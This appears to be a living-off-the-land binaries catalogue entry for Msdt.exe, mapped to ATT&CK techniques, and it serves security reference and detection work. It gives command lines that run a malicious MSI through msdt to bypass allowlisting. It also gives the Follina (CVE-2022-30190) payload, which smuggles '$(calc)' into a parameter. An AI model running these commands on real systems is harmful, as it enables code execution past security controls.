Msdt.exe

type: OSBinaries
Microsoft diagnostics tool

Full path

C:\Windows\System32\Msdt.exe
C:\Windows\SysWOW64\Msdt.exe

Commands

  1. ExecuteUser T1218

    Execute code

    msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

    Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Application: GUIExecute: MSI

  2. AWL BypassUser T1218

    Execute code bypass Application whitelisting

    msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

    Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Application: GUIExecute: MSI

  3. AWL BypassUser T1202

    Execute code bypass Application allowlisting

    msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"

    Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the “PCWDiagnostic” module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Application: GUIExecute: CMD

Detection

Code samples

Resources

acknowledgement: Nasreddine Bencherchali @nas_bench